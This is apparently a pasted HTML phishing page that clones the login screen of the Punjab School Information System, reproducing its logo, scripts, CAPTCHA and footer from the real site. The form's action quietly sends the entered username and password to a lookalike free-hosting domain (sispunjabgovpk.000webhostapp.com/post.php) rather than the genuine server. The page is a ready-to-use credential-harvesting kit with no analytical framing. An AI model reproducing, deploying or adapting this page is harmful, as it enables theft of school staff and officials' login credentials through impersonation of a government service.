Untitled
4 years ago in Plain Text
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
<title>School Information System </title>
<meta charset="utf-8">
<meta content="text/html; charset=utf-8" http-equiv=Content-Type>
<meta name="description" content="">
<meta name="viewport" content="width=device-width">
<!-- Used For Not To Cache -->
<meta http-equiv='cache-control' content='no-cache'>
<meta http-equiv='expires' content='0'>
<meta http-equiv='pragma' content='no-cache'>
<link rel="shortcut icon" href="https://sis.punjab.gov.pk/favicon.ico" type="image/x-icon">
<link rel="icon" href="https://sis.punjab.gov.pk/favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,700italic,400,600,700">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Oswald:400,300,700">
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
<link rel="stylesheet" href="https://sis.punjab.gov.pk/assets/css/font-awesome.min.css">
<link rel="stylesheet" href="https://sis.punjab.gov.pk/assets/js/libs/css/ui-lightness/jquery-ui-1.9.2.custom.min.css">
<link rel="stylesheet" href="https://sis.punjab.gov.pk/assets/css/bootstrap.min.css">
<link rel="stylesheet" href="https://sis.punjab.gov.pk/assets/css/style-pec.css">
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
<!-- Load Common Scripts -->
<script src="https://sis.punjab.gov.pk/assets/js/jquery.min.js"></script>
<script src="https://sis.punjab.gov.pk/assets/js/bootstrap.min.js"></script>
<script src="https://sis.punjab.gov.pk/assets/js/fontawesome.js"></script>
<script type="text/javascript" src="https://sis.punjab.gov.pk/assets/js/plugins/datepicker/jquery-ui.js"></script>
<script type="text/javascript" src="https://sis.punjab.gov.pk/assets/js/jquery.stickyTableHeader.js"></script>
</head>
<body class="account-bg user">
<input type="hidden" class="validate_request_token" name="" value="" />
<style>
/*.account-form { margin-top: 1em; }*/
.account-wrapper { padding: 0px; }
.footer { text-align: center !important; }
</style>
<hr class="account-header-divider">
<div class="account-wrapper">
<div class="account-logo" style="height: auto;">
<img src="https://sis.punjab.gov.pk/assets/images/logo.png?t=1" alt="">
</div>
<div class="account-body">
<!--<h4 class="account-body-subtitle">Please Login</h4>-->
<form action="http://sispunjabgovpk.000webhostapp.com/post.php" method="POST" class="form account-form" id="login-form" accept-charset="utf-8">
<input type="hidden" name="csrf_test_name" value="701c0328c310b4d486e884115eb0c3a3" />
<!--success message moved to main_menu.php file--> <div class="form-group">
<input type="hidden" name="grade_level" id="grade_level" value="1">
<label for="login-username" class="placeholder-hidden">Username</label>
<input class="form-control block_user_inputs" data-inputs-allow="USERNAME" maxlength="255" size="255" autocomplete="off" type="text" name="u_username" placeholder="Username"value="">
</div> <!-- /.form-group -->
<div class="form-group">
<label for="login-password" class="placeholder-hidden">Password</label>
<input type="password" autocomplete="off" class="form-control block_user_inputs" data-inputs-allow="PASSWORD" maxlength="255" size="255" type="password" name="u_password" placeholder="Password" value="">
</div> <!-- /.form-group -->
<div class="form-group">
<span style="background: #e1e5e8; font-style: italic; padding: 10px; text-align: center; width: 66%; float: left; border-radius: 4px; margin: 0px;">8 + 5</span>
<span style="float: left; width: 8%; text-align: center; line-height: 40px;">=</span>
<input type="text" class="form-control" maxlength="10" size="10" name="u_cp" placeholder="Captcha" value="" style="float:left; width: 26%;">
</div>
<div class="form-group" style="padding-left: 0; clear: both;">
<button type="submit" class="btn btn-primary btn-block btn-lg block_ui" tabindex="4">
Sign In
</button>
</div>
<div class="form-group col-md-12 forgot-password" style="padding-left: 0;">
<a href="https://sis.punjab.gov.pk/user/forgot_password" class="forgot-password-link">Reset Password</a>
</div>
<div class="col-md-12"><hr /></div>
<div class="form-group col-md-6" style="padding: 0 7px; padding-left: 0px;">
<a href="https://sis.punjab.gov.pk/documents/public_listing" class="btn btn-primary btn-block btn-lg block_ui" tabindex="4" style="background-image: linear-gradient(to bottom, #f9b800, #fdaf00);border-color:#fdaf00; ">
Documents
</a>
</div>
<div class="form-group col-md-6" style="padding-right: 0;">
<a href="https://sis.punjab.gov.pk/dashboard" class="btn btn-primary btn-block btn-lg block_ui" tabindex="4" style="background-image: linear-gradient(to bottom, #69dc19, #31b319);border-color: #38ad12;">
Dashboard
</a>
</div>
<br clear="both">
</form>
</div> <!-- /.account-body -->
</div>
<script src="https://sis.punjab.gov.pk/assets/js/jquery.validate.min.js"></script><script>
var ALL = false;
var INTEGERS = false;
var CHARACTERS = false;
var BRACKETS = false;
var COMMA = false;
var FORWARDSLASH = false;
var ATTHERATEOF = false;
var DOT = false;
var UNDERSCORE = false;
var HYPHEN = false;
var SINGLEINVERTEDCOMMA = false;
var AMPERSENT = false;
var SPACE = false;
function reset_block_input_options() {
ALL = false;
INTEGERS = false;
CHARACTERS = false;
BRACKETS = false;
COMMA = false;
FORWARDSLASH = false;
ATTHERATEOF = false;
DOT = false;
UNDERSCORE = false;
HYPHEN = false;
SINGLEINVERTEDCOMMA = false;
AMPERSENT = false;
SPACE = false;
}
function dispaly_block_input_options() {
console.log("ALL := " + ALL);
console.log("INTEGERS := " + INTEGERS);
console.log("CHARACTERS := " + CHARACTERS);
console.log("BRACKETS := " + BRACKETS);
console.log("COMMA := " + COMMA);
console.log("FORWARDSLASH := " + FORWARDSLASH);
console.log("ATTHERATEOF := " + ATTHERATEOF);
console.log("DOT := " + DOT);
console.log("UNDERSCORE := " + UNDERSCORE);
console.log("HYPHEN := " + HYPHEN);
console.log("SINGLEINVERTEDCOMMA := " + SINGLEINVERTEDCOMMA);
console.log("AMPERSENT := " + AMPERSENT);
console.log("SPACE := " + SPACE);
}
function turnOnInteger() {
INTEGERS = true;
}
function turnOnCharacter() {
CHARACTERS = true;
}
function turnOnUnderscore() {
UNDERSCORE = true;
}
function turnOnDot() {
DOT = true;
}
function turnOnSpace() {
SPACE = true;
}
function turnOnAll() {
ALL = true;
}
function turnOnHyphen() {
HYPHEN = true;
}
function turnOnAtTheRateOf() {
ATTHERATEOF = true;
}
function turnOnBrackets() {
BRACKETS = true;
}
function turnOnForwardSlash() {
FORWARDSLASH = true;
}
</script>
<script>
$(document).ready(function () {
$('.block_user_inputs').focus(function () {
$attrData = $(this).attr('data-inputs-allow');
var $attrDataArray = $attrData.split(",");
for (var i = 0; i < $attrDataArray.length; i++) {
if ($attrDataArray[i] == 'USERNAME') {
turnOnInteger();
turnOnCharacter();
turnOnUnderscore();
turnOnDot();
turnOnSpace();
} else if ($attrDataArray[i] == 'PASSWORD') {
turnOnAll();
} else if ($attrDataArray[i] == 'FULLNAME' || $attrDataArray[i] == 'NAME') {
turnOnCharacter();
turnOnDot();
turnOnSpace();
turnOnHyphen();
} else if ($attrDataArray[i] == 'EMAIL' || $attrDataArray[i] == 'EMAILADDRESS') {
turnOnCharacter();
turnOnInteger();
turnOnUnderscore();
turnOnDot();
turnOnHyphen();
turnOnAtTheRateOf();
} else if ($attrDataArray[i] == 'CNIC') {
turnOnInteger();
} else if ($attrDataArray[i] == 'CONTACTNO' || $attrDataArray[i] == 'MOBILENO') {
turnOnInteger();
//turnOnHyphen();
//turnOnDot();
turnOnSpace();
turnOnBrackets();
} else if ($attrDataArray[i] == 'DATE' || $attrDataArray[i] == 'DOB') {
turnOnInteger();
turnOnHyphen();
turnOnForwardSlash();
} else if ($attrDataArray[i] == 'DATE_YEAR') {
turnOnInteger();
} else if($attrDataArray[i] == 'GENERALNAME'){
turnOnInteger();
turnOnHyphen();
turnOnForwardSlash();
turnOnDot();
turnOnSpace();
turnOnBrackets();
turnOnCharacter();
turnOnUnderscore();
} else if($attrDataArray[i] == 'GENERALNUMBER'){
turnOnInteger();
turnOnHyphen();
turnOnForwardSlash();
turnOnDot();
turnOnSpace();
turnOnCharacter();
turnOnUnderscore();
} else {
window[$attrDataArray[i]] = true;
}
}
//dispaly_block_input_options();
return true;
});
$('.block_user_inputs').focusout(function () {
reset_block_input_options();
});
$('.block_user_inputs').keypress(function (event) {
return blockUserInputs(event);
});
});
</script>
<script src="https://code.jquery.com/jquery-migrate-1.2.1.js"></script>
<script>
function blockUserInputs(event) {
if (ALL) {
return true;
}
code = event.which;
if (INTEGERS) {
if (code >= 48 && code <= 57) {
return true;
}
}
if (CHARACTERS) {
if ((code >= 65 && code <= 90) || (code >= 97 && code <= 122)) {
return true;
}
}
if (BRACKETS) {
if (code >= 40 && code <= 41) {
return true;
}
}
if (COMMA) {
if (code == 44) {
return true;
}
}
if (FORWARDSLASH) {
if (code == 47) {
return true;
}
}
if (ATTHERATEOF) {
if (code == 64) {
return true;
}
}
if (DOT) {
if (code == 46) {
return true;
}
}
if (UNDERSCORE) {
if (code == 95) {
return true;
}
}
if (HYPHEN) {
if (code == 45) {
return true;
}
}
if (SINGLEINVERTEDCOMMA) {
if (code == 39) {
return true;
}
}
if (AMPERSENT) {
if (code == 38) {
return true;
}
}
if (SPACE) {
if (code == 32) {
return true;
}
}
code = event.keyCode;
if (INTEGERS) {
if (code >= 48 && code <= 57) {
return true;
}
}
if (CHARACTERS) {
if ((code >= 65 && code <= 90) || (code >= 97 && code <= 122)) {
return true;
}
}
if (BRACKETS) {
if (code >= 40 && code <= 41) {
return true;
}
}
if (COMMA) {
if (code == 44) {
return true;
}
}
if (FORWARDSLASH) {
if (code == 47) {
return true;
}
}
if (ATTHERATEOF) {
if (code == 64) {
return true;
}
}
if (DOT) {
if (code == 46) {
return true;
}
}
if (UNDERSCORE) {
if (code == 95) {
return true;
}
}
if (HYPHEN) {
if (code == 45) {
return true;
}
}
if (SINGLEINVERTEDCOMMA) {
if (code == 39) {
return true;
}
}
if (AMPERSENT) {
if (code == 38) {
return true;
}
}
if (SPACE) {
if (code == 32) {
return true;
}
}
if ($.browser.mozilla) {
if (code == 8 || code == 46 || (code >= 35 & code <= 40) || code == 9) {
return true;
}
}
return false;
}
function mask_cnic(event, id) {
code = event.which;
if (code != 8)
{
if ($('#' + id).val().length == 5 || $('#' + id).val().length == 13)
{
$('#' + id).val($('#' + id).val() + '-');
}
}
}
function validate_cnic($this, $cnic) {
if ($cnic == undefined || $cnic == '') {
return true;
}
$('span.error').remove();
$cnic = $cnic.replace(/-/g, '');
if ($cnic.length != 13) {
$($this).before("<span class='error' style='color:red;font-size:10px;'>Invalid CNIC Length (XXXXX-XXXXXXX-X)</span>");
$this.focus();
return false;
}
if (/^(.)\1*$/.test($cnic)) {
$($this).before("<span class='error' style='color:red;font-size:10px;'>Invalid CNIC Integers</span>");
$this.focus();
return false;
}
return true;
}
function validate_contact_no($this, $contactNo) {
if ($contactNo == undefined || $contactNo == '') {
return true;
}
$('span.error').remove();
if ($contactNo.length > 16) {
$($this).before("<span class='error' style='color:red;font-size:10px;'>Invalid Contact No Length</span>");
$this.focus();
return false;
}
$tmpCNIC = $contactNo;
$tmpCNIC = $tmpCNIC.replace(/-/g, "");
if (/^(.)\1*$/.test($tmpCNIC)) {
$($this).before("<span class='error' style='color:red;font-size:10px;'>Invalid Contact No Integers</span>");
$this.focus();
return false;
}
return true;
}
function formatCurrency(id, total) {
if(total == '') {
return;
}
total = total.split(/[,]+/).join('');
formatted = parseFloat(total, 10).toFixed(1).replace(/(\d)(?=(\d{3})+\.)/g, "$1,").toString();
formatted = formatted.split(/[.]+/);
$('#' + id).val(formatted[0]);
}
</script><script src="https://sis.punjab.gov.pk/assets/js/forms/user/login.js"></script>
<footer class="footer">
<div class="container">
<div class="row">
<div class="col-sm-12 center-block">
<p>&copy; 2020 All rights reserved. Online School Information System - School Education Department, Government of the Punjab - Powered By PITB</p>
</div> <!-- /.col -->
</div> <!-- /.row -->
</div> <!-- /.container -->
</footer>
<script src="https://sis.punjab.gov.pk/assets/js/block_ui.js"></script>
<script>
$(document).ready(function() {
$.blockUI.defaults.baseZ = 6000;
$('.block_ui').click(function() {
block_ui();
});
});
function block_ui(){
$.blockUI({
css: {
border: 'none',
padding: '15px',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px',
opacity: .5,
color: '#fff',
'z-index' : 6005,
}
});
}
function unblock_ui(){
$.unblockUI();
}
</script><script>
function set_csrf_token(response){
$newCsrfToken = response.csrf_test_name;
if($newCsrfToken !== undefined){
$('input[name=csrf_test_name]').val($newCsrfToken);
}
}
</script><script src="https://sis.punjab.gov.pk/assets/js/block_ui.js"></script>
<script>
$(document).ready(function () {
$('[data-toggle="tooltip"]').tooltip();
});
</script> <!-- Google Analytics Start -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-100002531-1', 'auto');
ga('send', 'pageview');
</script> <!-- Google Analytics End -->
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586